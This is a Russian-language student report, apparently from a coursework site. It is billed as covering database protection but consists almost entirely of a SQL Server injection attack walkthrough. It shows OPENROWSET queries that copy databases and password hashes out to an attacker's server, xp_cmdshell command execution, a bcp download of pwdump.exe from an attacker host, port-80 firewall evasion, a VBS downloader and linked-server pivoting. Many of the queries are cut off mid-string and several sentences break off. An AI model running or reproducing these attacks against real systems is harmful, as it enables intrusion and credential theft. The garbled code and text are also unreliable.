Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен
В реферате содержится информация о современных методах защиты баз данных.
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysdatabases')
select
* from master.dbo.sysdatabases
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysobjects')
select
* from user_database.dbo.sysobjects
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _syscolumns')
select
* from user_database.dbo.syscolumns
После
воссоздания таблиц в базе данных,
загрузка необходимых данных из SQL сервера
тривиальна.
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from table1')
select
* from database..table1
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from table2')
select
* from database..table2
Используя этот метод, атакующий может извлекать содержимое из таблиц, даже если приложение скрывает сообщения об ошибках или результаты неверных запросов.
Получив
соответствующие привилегии, атакующий
сможет загрузить список логинов
и паролей:
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysxlogins')
select
* from database.dbo.sysxlogins
Получение хэшей паролей даёт возможность атакующему использовать brute-force атаку для подбора паролей.
Атакующий
также сможет выполнять команды
на атакованном сервере и получать
результаты их выполнения:
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from temp_table')
exec
master.dbo.xp_cmdshell 'dir'
Если
брандмауэр сконфигурирован блокировать
все исходящие соединения SQL сервера,
атакующий может использовать один
из нескольких методов для обхода
брандмауэра. Атакующий может использовать
при передаче данных 80-й порт предназначенный
для HTTP соединения. Ниже приведен пример
этой техники:
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from table1')
select
* from table1
Если исходящее соединение на 80-й порт блокируется брандмауэром, то атакующий может попытаться использовать другие номера портов до тех пор, пока не отыщет незаблокированный.
Повышение привилегий
Часто
администратор, следуя рекомендациям
безопасности, настраивает приложения
для запуска от имени непривилегированного
пользователя. Найдя уязвимость в
приложение, запущенном от непривилегированного
пользователя атакующий пытается повысить
привилегии и получить права администратора.
Атакующий может использовать другие
известные и неизвестные
Опубликованные уведомления об уязвимостях доступны по адресам:
http://www.appsecinc.
Загрузка файлов
Как только атакующий получил необходимые привилегии SQL сервера, он возможно захочет загрузить на сервер бинарный файл. Поскольку это не может быть сделано используя протокол такой как SMB, порты 137-139 обычно заблокированы брандмауэром, атакующему нужен другой метод для помещения бинарного файла в файловую систему жертвы. Это может быть сделано посредствам загрузки двоичного файла в локальную таблицу на хосте атакующего и помещение файла на атакуемый хосте используя соединение SQL сервера.
Для
реализации этого атакующий должен
создать таблицу на локальном
сервере следующим образом.
create
table AttackerTable (data text)
Создав
таблицу для бинарного файла,
загружаем его туда следующим
образом:
bulk
insert AttackerTable
from 'pwdump.exe'
with (codepage='RAW')
Бинарный
файл может быть загружен на сервер-жертву
с сервера атакующего при помощи
следующего SQL запроса выполненного
на сервере-жертве:
exec
xp_cmdshell 'bcp "select * from AttackerTable" queryout
pwdump.exe -c -
Craw
-Shackersip -Usa -Ph8ck3r'
Этот
запрос приведет к исходящему соединению
с сервером атакующего и запишет
результат запроса в файл. В
этом случае, соединение происходит с
использованием протокола и порта
используемого по умолчанию, такое
соединение, вероятно, будет блокировано
брандмауэром. Для обхода брандмауэра,
атакующий может попытаться использовать:
exec
xp_regwrite
'HKEY_LOCAL_MACHINE','
rSrvAlias','REG_SZ','
и
затем:
exec
xp_cmdshell 'bcp "select * from AttackerTable" queryout
pwdump.exe -c -
Craw
-SHackerSrvAlias -Usa -Ph8ck3r'
Первый SQL запрос конфигурирует соединение с сервером хакера для использования 80-го порта, второй SQL запрос соединяется с сервером хакера, используя 80-й порт, и закачивает бинарный файл.
Другой метод — хакер мог бы использовать скрипт Visual Basic (.vbs) или JavaScript (.js) поместив файл в файловую систему и запустив скрипт.
Используя
эту технику, скрипт будет подключаться
к какому-нибудь серверу и скачивать
бинарный файл атакующего или копировать
и запускать файл на сервере-жертве.
exec
xp_cmdshell '"first script line" >> script.vbs'
exec
xp_cmdshell '"second script line" >> script.vbs'
...
exec
xp_cmdshell '"last script line" >> script.vbs'
exec
xp_cmdshell 'script.vbs' -->execute script to download binary
Проникновение во внутреннюю сеть
Соединенные
и удаленные серверы Microsoft SQL Server
позволяют одному серверу прозрачно
взаимодействовать с другим удаленным
сервером баз данных. Соединенные
серверы позволяют выполнять
распределенные запросы и даже позволяют
управлять удаленными серверами
баз данных. Атакующий может
Атакующий
должен начать со сбора информации
хранящейся в системной таблице
master.dbo.sysservers как продемонстрировано
здесь:
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysservers')
select
* from master.dbo.sysservers
Далее
атакующий может запросить
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysservers')
select
* from LinkedOrRemoteSrv1.master.dbo.
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysdatabases')
select
* from LinkedOrRemoteSrv1.master.dbo.
...и т.д.
Если
сединенные и удаленные серверы
не сконфигурированы для доступа
к данным (не сконфигурированы для
выполнения произвольных запросов, разрешено
выполнение только хранимых процедур)
атакующий может попытаться:
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysservers')
exec
LinkedOrRemoteSrv1.master.dbo.
master.dbo.sysservers'
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysdatabases')
exec
LinkedOrRemoteSrv1.master.dbo.
master.dbo.
...и т.д.
Используя
эту технику атакующий может
«прыгать» от одного сервера к
другому проникая глубже во внутреннюю
сеть через связанные и удаленные
серверы:
insert
into
OPENROWSET('
'uid=sa;pwd=
'select * from _sysservers')